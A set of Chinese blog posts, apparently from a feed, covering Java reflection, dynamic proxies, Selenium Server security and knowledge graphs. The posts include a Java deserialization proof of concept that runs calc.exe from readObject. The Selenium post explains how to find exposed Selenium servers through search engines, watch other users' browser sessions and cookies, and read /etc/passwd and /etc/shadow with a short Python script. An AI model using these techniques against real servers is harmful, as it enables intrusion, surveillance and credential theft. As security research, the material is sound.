            Method method = test.class.getMethod("int2string", Integer.class);
            Object x = method.invoke(new test(2), 666);//第一个参数是类的对象。第二参数是函数的参数
            System.out.println(x);
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

class test{
    private Integer n;  

    public test(Integer n){ //构造函数,初始化时执行
        this.n = n;
    }
    public String int2string(Integer n) {
        System.out.println("here");
        return Integer.toString(n);
    }
}

0x03 通过反射方法弹个计算器

Step1中,我们通过重写readObject方法,直接在里面使用Runtime.getRuntime().exec("calc.exe")来执行代码。现在需要改造一下,使用反弹方法来实现,成功调试的代码如下:

package Step2;

import java.io.File;
import java.io.FileInputStream;
import java.io.FileNotFoundException;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.io.Serializable;
import java.lang.reflect.Method;

/*
 * 有了反射方法的基础,再结合step1,实现一个基于反射方法的弹计算器。
 */

public class reflectionTest2 implements Serializable{
    private Integer n;  

    public reflectionTest2(Integer n){ //构造函数,初始化时执行
        this.n = n;
    }
    public String int2string(Integer n) {
        System.out.println("here");
        return Integer.toString(n);
    }
    private void readObject(java.io.ObjectInputStream in) throws IOException,ClassNotFoundException{
        in.defaultReadObject();//调用原始的readOject方法

        try {//通过反射方法执行命令;
        Method method= java.lang.Runtime.class.getMethod("exec", String.class);
        Object result = method.invoke(Runtime.getRuntime(), "calc.exe");    
        }
        catch(Exception e) {
            e.printStackTrace();
        }
        }

    public static void main(String[] args){
        //reflectionTest2 x= new reflectionTest2(2);
        //operation.ser(x);
        operation.deser();
    }
}



class operation {
    public static void ser(Object obj) {
        //序列化操作,写数据
        try{
            ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("object.obj"));
            //ObjectOutputStream能把Object输出成Byte流
            oos.writeObject(obj);//序列化关键函数
            oos.flush();  //缓冲流 
            oos.close(); //关闭流
        } catch (FileNotFoundException e) 
        {        
            e.printStackTrace();
        } catch (IOException e) 
        {
            e.printStackTrace();
        }
    }

    public static void deser() {
        //反序列化操作,读取数据
        try {
            File file = new File("object.obj");
            ObjectInputStream ois= new ObjectInputStream(new FileInputStream(file));
            Object x = ois.readObject();//反序列化的关键函数
            System.out.print(x);
            ois.close();
        } catch (FileNotFoundException e) {
            // TODO Auto-generated catch block
            e.printStackTrace();
        } catch (Exception e) {
            // TODO Auto-generated catch block
            e.printStackTrace();
        }
    }
}

执行结果:

2.png

0x04 思考总结

程序的两大根本:变量与函数

所以总的来说,要想控制程序实现命令执行,有2个方向:

  • 控制代码、函数:就像命名注入等注入类漏洞一样数据被当作了代码执行;或者和上面的Demo代码一样重写readObject,加入自定义的代码(当然这种场景基本不存在,任意文件上传和执行勉强算是属于这种情况)。
  • 控制输入、数据、变量:利用代码中已有的函数和逻辑,通过改变输入内容的形态实现流程的控制(不同的输入会走不同的逻辑流程,执行不同代码块中的代码)。

对于java反序列化漏洞,属于控制数据输入,它有2个基本点必须要满足:

  1. 有一个可序列化的类,并且该类是重写了readObject()方法的(由于不存在代码注入,只能查找已有代码逻辑中是否有这样的类)。
  2. 在重写的readObject()方法的逻辑中有 method.invoke函数出现,而且参数可控。

再稍作抽象:

  1. 有一个可序列化的类,并且该类是重写了readObject()方法的。(主线流程,反序列化漏洞都是这个主线逻辑流程)
  2. 在重写的readObject()方法的逻辑中有
    直接或间接使用类似method.invoke这种可以执行调用任意方法的函数,而且参数可控。(是否还有其他函数可以达到相同的目的呢?)

本文代码可从github下载:

https://github.com/bit4woo/Java_deserialize_vuln_lab/tree/master/src/Step2

0x05 参考

Java反序列化漏洞学习实践三:理解Java的动态代理机制

$
0
0

0x01 基础

代理模式:为其他对象提供一种代理以便控制对这个对象的访问(所谓控制,就是可以在其调用行为,前后分别加入一些操作)。

代理模式分类:

  1. 静态代理(其实质是类的继承,比较容易理解)
  2. 动态代理(这是我们需要关注的重点,)比较重要!!

0x02 静态代理Demo和理解

package Step3;

/*
 * 代理模式的简单demo,静态代理
 */

public class proxyTest{
    public static void main(String[] args) {
        Subject sub=new ProxySubject();
        sub.request();
    }
}

abstract class Subject
{//抽象角色:通过接口或抽象类声明真实角色实现的业务方法。
    //类比网络代理,比如http代理,都支持http协议
    abstract void request();
}

class RealSubject extends Subject
{//真实角色:实现抽象角色,定义真实角色所要实现的业务逻辑,供代理角色调用。
    //类比真实的http请求
       public RealSubject()
       {
       }

       public void request()
       {
              System.out.println("From real subject.");
       }
}

class ProxySubject extends Subject//关键是类的继承
{//代理角色:实现抽象角色,是真实角色的代理,通过真实角色的业务逻辑方法来实现抽象方法,并可以附加自己的操作。
    //类比通过代理发出http请求,这个代理当然可以对http请求做出任何想要的修改。
    private RealSubject realSubject; //以真实角色作为代理角色的属性

       public ProxySubject()
       {
       }

       public void request() //该方法封装了真实对象的request方法
       {//所谓的“控制”就体现在这里
        preRequest(); 
              if( realSubject == null )
        {
                     realSubject = new RealSubject();
              }
        realSubject.request(); //此处执行真实对象的request方法
        postRequest();
       }

    private void preRequest()
    {
        //something you want to do before requesting
        System.out.println("Do something before requesting");
    }

    private void postRequest()
    {
        //something you want to do after requesting
        System.out.println("Do something after requesting");
    }
}

运行效果:

1.png

0x03 动态代理Demo及理解

在java的动态代理机制中,有两个重要的类或接口,一个是InvocationHandler(Interface)、另一个则是Proxy(Class),这一个类和接口是实现我们动态代理所必须用到的。

大致逻辑流程就是:

定义一个接口(抽象角色)-->基于以上接口实现一个类(真实角色)-->基于InvocationHandler实现一个处理器类;

接着调用流程:

实现一个真实角色对象-->实现一个处理器对象-->构建一个新的代理对象,这个对象基于已有的处理器 和接口的类-->再把这个代理对象转换为【接口的类型、抽象角色的类型】,不能是真实角色的类型,为什么?

package Step3;

import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;
import java.lang.reflect.Proxy;

/*
 * 代理模式的简单demo,动态代理,动态代理利用了反射机制
 * 每一个动态代理类都会有一个与之关联的invocation handler。真正的调用是在invocation handler的invoke()方法里完成的。
 * 感谢蝶离飞、廖新喜2为师傅的指导
 */

public class proxyTest2{
    public static void main(String[] args) {
        DynamicSubject sub=new RealDynamicSubject();//之前这里sub的类型是RealDynamicSubject,不对;但是为什么呢?
        Handler handler = new Handler(sub);
        DynamicSubject sub2 = (DynamicSubject)Proxy.newProxyInstance(DynamicSubject.class.getClassLoader(), new Class[]{DynamicSubject.class}, handler); 
        //CLassLoader loader:指定动态代理类的类加载器
        //Class<?> interfaces:指定动态代理类需要实现的所有接口
        //InvocationHandler h: 指定与动态代理类关联的 InvocationHandler对象
        DynamicSubject sub3 = (DynamicSubject)Proxy.newProxyInstance(DynamicSubject.class.getClassLoader(), sub.getClass().getInterfaces(), handler);

        DynamicSubject sub4 = (DynamicSubject)Proxy.newProxyInstance(DynamicSubject.class.getClassLoader(), RealDynamicSubject.class.getInterfaces(), handler);

        System.out.println("sub.getClass() = "+sub.getClass());
        System.out.println("DynamicSubject.class = " +DynamicSubject.class);
        System.out.println(new Class[]{DynamicSubject.class});
        System.out.println(RealDynamicSubject.class.getInterfaces());

        sub2.request();
        sub3.request();
        sub4.request();
    }
}

interface DynamicSubject
{//抽象角色:通过接口或抽象类声明真实角色实现的业务方法。注意:动态代理只能是接口,否则代理类转成该类型事会报错
    //类比网络代理,比如http代理,都支持http协议
    abstract void request();
}

class RealDynamicSubject implements DynamicSubject
{//真实角色:实现抽象角色,定义真实角色所要实现的业务逻辑,供代理handler处理调用。
    //类比真实的http请求
       public RealDynamicSubject()
       {
       }

       public void request()
       {
              System.out.println("From real subject.");
       }
}

/**
 * 处理器
 */
class Handler implements InvocationHandler{
    private Object obj; //被代理的对象,不管对象是什么类型;之前声明成RealDynamicSubject,不应该这么做
    /**
     * 所有的流程控制都在invoke方法中
     * proxy:代理类
     * method:正在调用的方法
     * args:方法的参数
     */
    @Override
    public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {//接口必须实现的方法,也是逻辑核心
        System.out.println("Do something before requesting");
        Object xxx = method.invoke(this.obj, args);
        System.out.println("Do something after requesting");
        return xxx;
    }
    public Handler(Object obj) {
        //构造函数,把真实角色的实例传递进来,这个代理handler的目的就是处理它
        this.obj = obj;
    }
}

运行效果:

2.png

0x03 思考总结

在后续将要学习的反序列化PoC构造过程中,我们需要用到这个动态代理机制,因为它提供一种【方法之间的跳转,从任意方法到invoke方法的跳转】,是我们将参数入口和代码执行联系起来的关键!

本文代码下载地址:

https://github.com/bit4woo/Java_deserialize_vuln_lab/tree/master/src/Step3

0x04 参考

谈谈Selenium Server的安全问题 - 未完

$
0
0

0x01 开篇

不知道大家在平日工作中有没有遇到过一些端口,使用浏览器打开是下面这样子的:

201803041520131466539800.png

上图中我找了几个在不同端口下的例子。

0x02 Selenium-开源的自动化测试利器

本篇主要的主角-Selenium究竟是什么呢?有过QA经验或安全自动化测试经验的朋友应该知道,以下文字来自百度百科:Selenium是一个用于Web应用程序测试的工具。Selenium测试直接运行在浏览器中,就像真正的用户在操作一样。支持的浏览器包括IE(7, 8, 9, 10, 11),Mozilla Firefox,Safari,Google Chrome,Opera等。支持自动录制动作和自动生成 .Net、Java、Perl等不同语言的测试脚本。

官网地址:https://www.seleniumhq.org/

Github地址:https://github.com/SeleniumHQ/selenium/wiki/Grid2

Selenium支持本地和远程浏览器的自动化测试,在远程调用浏览器时需要在远程服务器上启动一个SeleniumServer,它会负责远程浏览器的启用和你的自动化脚本的执行。

官方给出的启用该SeleniumServer的命令:

java -jar selenium-server-standalone-<version>.jar -role node  -hub http://localhost:4444/grid/register

那么脚本远程调用可以如下:

//第一个参数:表示服务器的地址。第二个参数:表示预期的执行对象,其他的浏览器都可以以此类推
WebDriver driver = new RemoteWebDriver(new URL("http://localhost:4444/wd/hub/"), DesiredCapabilities.chrome());

路径/wd/hub/我是怎么知道的?

  1. 点开console,自动跳转知道的。
  2. 百度selenium remote 知道的
  3. 查看源码发现是默认的- 源码

通过阅读源码能发现默认的端口为4444,如下图所示:

201803051520263000170174.png

下面是一个Python写的远程调用的Demo:

201803041520134142491036.png

0x03 Selenium-server分析

为了方便我们分析,我在Mac下启用一个Sever, 服务端就是一个独立端JAR文件,下载地址:点击下载

可以直接这样启用:

201803041520137267231202.png

浏览器访问,打开console看看,如下图:

201803041520137304734235.png

201803041520139782900165.gif

Selenium Server 给每一个远程调用浏览器进行自动化任务分配一个Session会话,该控制台可以新创建会话,可以在页面上给每一个会话下发自动化脚本到每一个会话对应到浏览器上执行。

观察加载Console页面时,加载了一个叫client.js的文件,从这个文件中可以找到一些有用的调用接口,比如我的地址:http://127.0.0.1:4444/wd/hub/ ,当前的SessionId为,179220de83fee4d6090502b003b692a0 简单整理可以GET访问的URL地址如下:

GET 方式 - BaseUrl = http://127.0.0.1:4444/wd/hub
URL ==> 对应函数
/sessions ==> getSessions 获取当前所有打开浏览器的Session信息
/status ==> getStatus 获取当前Server状态 
/session/179220de83fee4d6090502b003b692a0/url ==> getCurrentUrl  获取当前浏览器打开的URL
/session/179220de83fee4d6090502b003b692a0/alert_text ==> getAlertText  获取弹窗内容
/session/179220de83fee4d6090502b003b692a0/source ==> getPageSource  获取网页源码
/session/179220de83fee4d6090502b003b692a0/screenshot ==> screenshot   网页快照,返回Base64图片
/session/179220de83fee4d6090502b003b692a0/cookie ==> getCookies  获取当前页面Cookie

上面的只是举例说明,完整的接口定义可以去GitHub上看WIKI说明,地址:https://github.com/SeleniumHQ/selenium/wiki/JsonWireProtocol

现在我们知道了Selenium Server给我们提供了很多API接口以供我们使用来完成我们对远程浏览器对控制操作,下面看看我们就一起研究下能怎么玩?

0x04 构想和实施你的玩法

问题:

在敌人后方,你拿到了一个完全可控的浏览器后,你能做些什么?

针对这种,下面是暂时想到的玩法。

实施对敌方远程浏览器自动化作业的监控(偷视)

利用上面学习的知识,我们通过接口:

http://127.0.0.1:4444/wd/hub/sessions

发现存在着有效的Session正在作业如图:

201803041520146295646570.png

那么我们可以通过自己编写脚本,调用API接口,实时获取该浏览器的信息。如:

比如下面展示的,某一个浏览器正在进行重置密码的-自动化操作,我们可以通过API接口实时拿到该浏览器当前的URL地址。(很关键拿到这个URL就可以为所欲为了。。。)

201803041520146861917279.png

201803041520147053363582.png

当然这个返回的是页面截图的Base64,转化一下如下:

201803041520147160885551.png

如果只是简单的URL监控,思路利用BurpSuite就可以实现,这里我实验了一下,如图:

201803041520147482205223.png

利用这类思路,我们可以自己编写脚本利用其提供的API接口,对网络空间里的这类Selenium Server的行为进行24h的实时监控、记录其xx行为。

以此为跳板,对内网实施攻击

利用Selenium Server对特点,创建或者可控一个正在作业的远程浏览器,向内网发起攻击。

说到利用跳板发起内网攻击,可能最开始想到的是被大家玩出花的SSRF了。相比一般的SSRF漏洞,这里我们手里拿到的攻击筹码是远超过一般的SSRF漏洞的。敌方后防一个完全可控的浏览器,能够下发任意的JS代码,控制浏览器访问任意的URL这简直不能再爽!--- 还在实践ing

file协议任意文件读取

我们知道浏览器支持使用file协议读取本地系统的文件,哪么我们可以利用控制的远程浏览器利用file协议读取系统敏感文件,甚至是重要的shadow等口令文件

在测试实践中,我找了几台靶机尝试读取系统/etc/passwd文件,发现甚至有的可以读取shadow文件。准备测试脚本很简单,几行代码比如:

def test_readfile(driver_url = '', filename=''):
    driver = webdriver.Remote(command_executor='http://' + driver_url + '/wd/hub',
                              desired_capabilities=DesiredCapabilities.CHROME)
    driver.get("file://%s" % filename)
    print driver.page_source

    driver.quit()

然后结果就是这样的:

201803041520169754704399.png

甚至读取到了shadow

201803041520172210136585.png

当然最简单的方式是直接在Console里直接操作,步骤:Create a New Session -> chrome or firefox -> Load Script ->添入 file:///etc/passwd 然后OK -> 然后 Take a ScreenShot你就能看到了。下面是测试的截图

201803041520169348222300.png

看到这里,是不是震惊了?赶紧回去问问你们的研发,你们的QA,有没有用到它,小心菊花不保!!

远程挖矿

近两年来很流行的浏览器挖矿,从去年6月后吧,利用浏览器进行虚拟货币挖矿的事件越来越多来,网站代码中暗藏JS挖矿机脚本

挖矿脚本上GitHub一搜索就能找到很多,Github搜索地址 这里就不做过多测试了,不玩这个!

0x05 网络空间调查

使用Shodan, Censys, Zoomeye, FOFA 等一些知名的网络搜索引擎进行关键字搜索,看看网络空间里有多少Selenium Server以及分布情况。

  • Zoomeye

搜索地址:搜索链接

搜索结果如下图:

201803051520229306291405.png

搜索发现在Zoomeye引擎中记录,在整个网络空间中存在有大约有 1.5万左右的Selenium Server运行着。

  • FOFA引擎

搜索地址:搜索链接

使用FOFA引擎,匿名用户 normal模式进行搜索,获得了1.3k左右的记录

搜索结果:

201803051520230301290760.png

  • Shodan引擎

搜索地址:搜索链接

在SHODAN引擎中关键字搜索,仅44条记录。

搜索结果:

201803051520230575847986.png

SHODAN引擎主要采集基础组件端口信息,采集网页信息较少,所以用网页关键字:SeleniumHQ 搜索的结果较少,但是我们如果搜索Selenium Server 所使用的组件 Jetty,就会发现搜索结果比较多了,如下图所示。这些结果中一定存在一定数量的Selenium Server运行着的。

搜索地址:搜索链接

搜索结果:

201803051520230961203412.png

0x06 进一步研究方向

能想到的可行的研究方向:

  • 网络空间的基于Selenium的自动化攻击监控

从网络空间搜索引擎里采集Selenium Server服务端IP,实时采集并记录其远程浏览器的自动化行为。

  • 主动探测网络空间里部署Selenium Server服务器分布

使用探测工具主动探测存在于网络空间的Selenium Server分布情况,记录和观测这些探测得到的IP,这些IP都有自动化攻击,薅羊毛的潜在可能。

个人博客:http://www.coffeehb.cn

知识图谱系列(1)基础知识简介

$
0
0

“The world is not made of strings , but is made of things.”
——辛格博士,from Google.

写在前面,对知识图谱的了解源于我在刘峤老师实验室里所做的【知识图谱中的关系推理】这方面的研究,在来到公司上班之后,意外发现在工业界这一块也有着非常巨大的需求。当然工业界面临的数据量和问题也是学术界远远不可启及的……
总之,最近决定把这个技能捡起来打磨打磨重新上膛,遂准备通过这一系列文章来对知识图谱进行一次梳理。

欢迎对这个方向感兴趣的童鞋们来交流~也欢迎同行指出这系列文章的不足!先行鞠躬笔芯感谢!

0x01 定义

俗话说:“看人先看脸。”在我们深入了解知识图谱之前,让我们先来看一下它长什么样子!
屏幕快照 2018-03-09 下午4.02.54-min.png

emmm这是百度知识图谱给出的小时代关系图谱的样子,你可以看到,如果两个角色之间有关系,他们就会被一条无向边连接在一起,那么这个角色,我们就称为实体(Entity)/节点(Point),他们之间的这条边,我们就称为关系(Relationship)/边(Edge)。
当然,实际的知识图谱当然不会像这种人为处理过的看起来这么舒服……给大家看几张更真实一点的知识图谱的样子——
211125s37st840d84eo148.png

还有这样……
211135gyf434bxvi73b8g4.png

总而言之,知识图谱本质上就是上图展示出来的这种语义网络,是一种基于图的数据结构,由节点(Point)和边(Edge)组成。在知识图谱里,每个节点表示现实世界中存在的“实体”,每条边为实体与实体之间的“关系”。

0x02 存储方式

知识图谱的存储方式通常分为以下两种——

  • RDF存储格式
    主要常用Jena
  • 图数据库(Graph Database)
    主要常用neo4j

采用图数据库而不是关系数据库的原因?

  1. 简单的知识图谱可以用关系数据库,但是一旦知识图谱变复杂,在关联查询的效率上会比传统的存储方式有显著的提高。当我们涉及到2,3度的关联查询,基于知识图谱的查询效率会高出几千倍甚至几百万倍。
  2. 基于图的存储在设计上会非常灵活,一般只需要局部的改动即可。
  3. 把实体和关系存储在图数据结构是一种符合整个故事逻辑的最好的方式。

0x03 知识图谱的架构

知识图谱的架构主要可以被分为

  • 逻辑架构
  • 技术架构

3-1逻辑架构

在逻辑上,我们通常将知识图谱划分为两个层次:数据层和模式层

  • 模式层:在数据层之上,是知识图谱的核心,存储经过提炼的知识,通常通过本体库来管理这一层这一层(本体库可以理解为面向对象里的“类”这样一个概念,本体库就储存着知识图谱的类)。
  • 数据层:存储真实的数据。

如果还是有点模糊,可以看看这个例子——

模式层:实体-关系-实体,实体-属性-性值
数据层:比尔盖茨-妻子-梅琳达·盖茨,比尔盖茨-总裁-微软

3-2 技术架构

知识图谱的整体架构如图所示,其中虚线框内的部分为知识图谱的构建过程,同时也是知识图谱更新的过程。
2018-03-10_092729.png

别紧张,让我们顺着这张图来理一下思路。首先我们有一大堆的数据,这些数据可能是结构化的、非结构化的以及半结构化的,然后我们基于这些数据来构建知识图谱,这一步主要是通过一系列自动化或半自动化的技术手段,来从原始数据中提取出知识要素,即一堆实体关系,并将其存入我们的知识库的模式层和数据层。
构建知识图谱是一个迭代更新的过程,根据知识获取的逻辑,每一轮迭代包含三个阶段——

  • 信息抽取:从各种类型的数据源中提取出实体、属性以及实体间的相互关系,在此基础上形成本体化的知识表达;
  • 知识融合:在获得新知识之后,需要对其进行整合,以消除矛盾和歧义,比如某些实体可能有多种表达,某个特定称谓也许对应于多个不同的实体等;
  • 知识加工:对于经过融合的新知识,需要经过质量评估之后(部分需要人工参与甄别),才能将合格的部分加入到知识库中,以确保知识库的质量。

3-3构建方式

知识图谱有自顶向下和自底向上2种构建方式。

  • 自顶向下:
    借助百科类网站等结构化数据源,从高质量数据中提取本体和模式信息,加入到知识库中;
  • 自底向上
    借助一定的技术手段,从公开采集的数据中提取出资源模式,选择其中置信度较高的新模式,经人工审核之后,加入到知识库中。

0x04 构建技术

【这里提到的构建技术主要是自底向上的构建方式里会涉及到的构建技术】
如前所述,构建知识图谱是一个迭代更新的过程,根据知识获取的逻辑,每一轮迭代包含三个阶段——

  • 信息抽取:从各种类型的数据源中提取出实体、属性以及实体间的相互关系,在此基础上形成本体化的知识表达;
  • 知识融合:在获得新知识之后,需要对其进行整合,以消除矛盾和歧义,比如某些实体可能有多种表达,某个特定称谓也许对应于多个不同的实体等;
  • 知识加工:对于经过融合的新知识,需要经过质量评估之后(部分需要人工参与甄别),才能将合格的部分加入到知识库中,以确保知识库的质量。

见下图——
2018-03-10_092729-1.png

4-1 信息抽取

信息抽取(infromation extraction)是知识图谱构建的第1步,其中的关键问题是——

如何从异构数据源中自动抽取信息得到候选指示单元。

信息抽取是一种自动化地从半结构化和无结构数据中抽取实体、关系以及实体属性等结构化信息的技术。
涉及的关键技术包括:实体抽取、关系抽取和属性抽取。

4-1-1 实体抽取

实体抽取,也称为命名实体识别(named entity recognition,NER),是指从文本数据集中自动识别出命名实体。

研究历史:

  1. 面向单一领域,关注如何识别出文本中的人名、地名等专有名词和有意义的时间等实体信息

    1. 启发式算法+人工规则,实现自动抽取实体的原型系统
    2. 统计机器学习方法辅助解决命名实体抽取问题
    3. 有监督学习+先验知识
  2. 开始关注开放域(open domain)的信息抽取问题,不再限定于特定的知识领域,而是面向开放的互联网,研究和解决全网信息抽取问题。

    1. 人工建立科学完整的命名实体分类体系
    2. 基于归纳总结的实体类别,基于条件随机场模型进行实体边界识别,最后采用自适应感知机实现对实体的自动分类
    3. 采用统计机器学习的方法,从目标数据集中抽取出与之具有相似上下文特征的实体,从而实现实体的分类和聚类。
    4. 迭代扩展实体语料库
    5. 通过搜索引擎的服务器日志,聚类获取新出现的命名实体。——已应用于自动补全技术

4-1-2 关系抽取

文本语料经过实体抽取,得到的是一系列离散的命名实体,为了得到语义信息,还需要从相关语料中提取出实体之间的关联关系,通过关系将实体联系起来,才能够形成网状的知识结构。这就是关系抽取需要做的事。
研究历史:

  1. 人工构造语法和语义规则(模式匹配)
  2. 统计机器学习方法
  3. 基于特征向量或核函数的有监督学习方法
  4. 研究重点转向半监督和无监督
  5. 开始研究面向开放域的信息抽取方法
  6. 将面向开放域的信息抽取方法和面向封闭领域的传统方法结合

4-1-3 属性抽取

属性抽取的目标是从不同信息源中采集特定实体的属性信息,如针对某个公众人物,可以从网络公开信息中得到其昵称、生日、国籍、教育背景等信息。

研究历史:

  1. 将实体的属性视作实体与属性值之间的一种名词性关系,将属性抽取任务转化为关系抽取任务。
  2. 基于规则和启发式算法,抽取结构化数据
  3. 基于百科类网站的半结构化数据,通过自动抽取生成训练语料,用于训练实体属性标注模型,然后将其应用于对非结构化数据的实体属性抽取。
  4. 采用数据挖掘的方法直接从文本中挖掘实体属性和属性值之间的关系模式,据此实现对属性名和属性值在文本中的定位。

4-2 知识融合

通过信息抽取,我们就从原始的非结构化和半结构化数据中获取到了实体、关系以及实体的属性信息。
如果我们将接下来的过程比喻成拼图的话,那么这些信息就是拼图碎片,散乱无章,甚至还有从其他拼图里跑来的碎片、本身就是用来干扰我们拼图的错误碎片。
也就是说——

  • 拼图碎片(信息)之间的关系是扁平化的,缺乏层次性和逻辑性;
  • 拼图(知识)中还存在大量冗杂和错误的拼图碎片(信息)

那么如何解决这一问题,就是在知识融合这一步里我们需要做的了。
知识融合包括2部分内容:

  • 实体链接
  • 知识合并

4-2-1 实体链接

实体链接(entity linking)是指对于从文本中抽取得到的实体对象,将其链接到知识库中对应的正确实体对象的操作。
其基本思想是首先根据给定的实体指称项,从知识库中选出一组候选实体对象,然后通过相似度计算将指称项链接到正确的实体对象。

研究历史:

  1. 仅关注如何将从文本中抽取到的实体链接到知识库中,忽视了位于同一文档的实体间存在的语义联系。
  2. 开始关注利用实体的共现关系,同时将多个实体链接到知识库中。即集成实体链接(collective entity linking)

实体链接的流程:

  1. 从文本中通过实体抽取得到实体指称项;
  2. 进行实体消歧共指消解,判断知识库中的同名实体与之是否代表不同的含义以及知识库中是否存在其他命名实体与之表示相同的含义;
  3. 在确认知识库中对应的正确实体对象之后,将该实体指称项链接到知识库中对应实体。

实体消歧是专门用于解决同名实体产生歧义问题的技术,通过实体消歧,就可以根据当前的语境,准确建立实体链接,实体消歧主要采用聚类法。其实也可以看做基于上下文的分类问题,类似于词性消歧和词义消歧。

共指消解技术主要用于解决多个指称对应同一实体对象的问题。在一次会话中,多个指称可能指向的是同一实体对象。利用共指消解技术,可以将这些指称项关联(合并)到正确的实体对象,由于该问题在信息检索和自然语言处理等领域具有特殊的重要性,吸引了大量的研究努力。共指消解还有一些其他的名字,比如对象对齐、实体匹配和实体同义。

4-2-2 知识合并

在前面的实体链接中,我们已经将实体链接到知识库中对应的正确实体对象那里去了,但需要注意的是,实体链接链接的是我们从半结构化数据和非结构化数据那里通过信息抽取提取出来的数据。
那么除了半结构化数据和非结构化数据以外,我们还有个更方便的数据来源——结构化数据,如外部知识库和关系数据库。

对于这部分结构化数据的处理,就是我们知识合并的内容啦。
一般来说知识合并主要分为两种——

  • 合并外部知识库
  • 合并关系数据库

合并外部知识库:
需要处理两个层面的问题:

  • 数据层的融合,包括实体的指称、属性、关系以及所属类别等,主要的问题是如何避免实例以及关系的冲突问题,造成不必要的冗余
  • 模式层的融合,将新得到的本体融入已有的本体库中

一般有以下四个步骤:

  1. 获取知识
  2. 概念匹配
  3. 实体匹配
  4. 知识评估

合并关系数据库:
在知识图谱构建过程中,一个重要的高质量知识来源是企业或者机构自己的关系数据库。为了将这些结构化的历史数据融入到知识图谱中,可以采用资源描述框架(RDF)作为数据模型。业界和学术界将这一数据转换过程形象地称为RDB2RDF,其实质就是将关系数据库的数据换成RDF的三元组数据。

4-3 知识加工

经过刚才那一系列步骤,我们终于走到了知识加工这一步了!
感觉大家可能已经有点晕眩,那么让我们再来看一下知识图谱的这张架构图。
2018-03-10_092729-2.png

在前面,我们已经通过信息抽取,从原始语料中提取出了实体、关系与属性等知识要素,并且经过知识融合,消除实体指称项与实体对象之间的歧义,得到一系列基本的事实表达。
然而事实本身并不等于知识。
要想最终获得结构化,网络化的知识体系,还需要经历知识加工的过程。
知识加工主要包括3方面内容:本体构建、知识推理和质量评估。

4-3-1 本体构建

本体(ontology)是对概念进行建模的规范,是描述客观世界的抽象模型,以形式化的方式对概念及其之间的联系给出明确定义。其最大特点在于它是共享的,本体中反映的知识是一种明确定义的共识。在知识图谱中,本体位于模式层,用于描述概念层次体系,是知识库中知识的概念模板。

本体是同一领域内的不同主体之间进行交流的语义基础。

本体可以采用人工编辑的方式手动构建(借助本体编辑软件),也可以以数据驱动的自动化方式构建本体。因为人工方式工作量巨大,且很难找到符合要求的专家,因此当前主流的全局本体库产品,都是从一些面向特定领域的现有本体库出发,采用自动构建技术逐步扩展得到的。
自动化本体构建过程包含三个阶段——

  1. 实体并列关系相似度计算

    • 用于考察任意给定的2个实体在多大程度上属于同一概念分类的指标测度,相似度越高,表明这2个实体越有可能属于同一语义类别。
    • 如“中国”和“美国”作为国家名称的实体,具有较高的并列关系相似度;而“美国”和“手机”这两个实体,属于同一语义类别的可能性较低,因此具有较低的并列关系相似度

    • 主流计算方法:模式匹配法和分布相似度。
  2. 实体上下位关系抽取

    • 用于确定概念之间的隶属(IsA)关系,这种关系也称为上下位关系。
    • 如词组(导弹,武器)构成上下位关系,其中的“导弹”为下位词,“武器”为上位词。

    • 主要研究方法:①基于语法模式(如Hearst模式)抽取IsA实体对;②利用概率模型判定IsA关系和区分上下位词,通常会借助百科类网站提供的概念分类知识来帮助训练模型,以提高算法精度;③用跨语言知识链接的方法来构建本体库;
  3. 本体的生成

    • 本体生成主要是对各层次得到的概念进行聚类,并对其进行语义类的标定,即为该类中的实体指定1个或多个公共上位词。
    • 主要研究方法:实体聚类方法

4-3-2 知识推理

知识推理是指从知识库中已有的实体关系数据出发,进行计算机推理,建立实体间的新关联,从而拓展和丰富知识网络。知识推理是知识图谱构建的重要手段和关键环节,通过知识推理,能够从现有知识中发现新的知识。
比如——

如果我们知道这两个信息(A,father,B),(B,father,C),那么知识推理就可以帮助我们得到(A,grandfather,C)的事实。

当然知识推理的对象也并不局限于实体间的关系,也可以是实体的属性值,本体的概念层次关系等。
比如——

推理属性值:已知某实体的生日属性,可以通过推理得到该实体的年龄属性;
推理概念:已知(老虎,科,猫科)和(猫科,目,食肉目)可以推出(老虎,目,食肉目)

知识推理方法目前可以分为3大类,基于逻辑的推理、基于图的推理和基于深度学习的推理

  • 基于逻辑的推理方法主要采用抽象或具象的Horn子句建模,然后基于一阶逻辑谓词、描述逻辑以及规则进行推理。
  • 基于图的推理方法主要思想是将实体和关系映射到一个低维的embedding空间中,基于知识的语义表达进行推理建模。
  • 基于深度学习的推理方法主要考虑使用神经网络进行建模,并且往往会和上面两种推理方法结合起来进行建模。

如果想要具体了解知识推理过程的算法综述的话,可以详见我的这篇博文:知识图谱中的关系推理,究竟是个什么玩意儿?

4-3-3 质量评估

质量评估也是知识库构建技术的重要组成部分,这一部分存在的意义在于:可以对知识的可信度进行量化,通过舍弃置信度较低的知识来保障知识库的质量。

好啦,在质量评估之后,你是不是想说,妈耶知识图谱终于构建完毕了。终于可以松一口气了。

emmmm好吧,实不相瞒,知识图谱这个宝宝目前虽然我们构建成功了。
但是!你家宝宝不吃饭的啊!你家宝宝不学习的啊!

所以,让我们冷静一下,乖乖进入知识更新这一步……

4-4 知识更新

从逻辑上看,知识库的更新包括概念层的更新和数据层的更新

  • 概念层的更新是指新增数据后获得了新的概念,需要自动将新的概念添加到知识库的概念层中。
  • 数据层的更新主要是新增或更新实体、关系、属性值,对数据层进行更新需要考虑数据源的可靠性、数据的一致性(是否存在矛盾或冗杂等问题)等可靠数据源,并选择在各数据源中出现频率高的事实和属性加入知识库。

知识图谱的内容更新有两种方式:

  • 全面更新:指以更新后的全部数据为输入,从零开始构建知识图谱。这种方法比较简单,但资源消耗大,而且需要耗费大量人力资源进行系统维护;
  • 增量更新:以当前新增数据为输入,向现有知识图谱中添加新增知识。这种方式资源消耗小,但目前仍需要大量人工干预(定义规则等),因此实施起来十分困难。

0x05 知识图谱的应用

好了!终于终于!知识图谱的构建方式我们就此结束了!
为了让大家不立刻弃疗,让我们来看看知识图谱能做到什么,以及目前已经做到了什么~

  • 智能搜索——也是知识图谱最成熟的一个场景,自动给出搜索结果和相关人物
    图片5.png
  • 构建人物关系图,查看更多维度的数据
    图片3.png
  • 反欺诈:这主要有两部分原因,一个是反欺诈的数据来源多样,结构化和非结构化,二是不少欺诈案件会涉及到复杂的关系网络
  • 不一致性验证(类似交叉验证)——关系推理
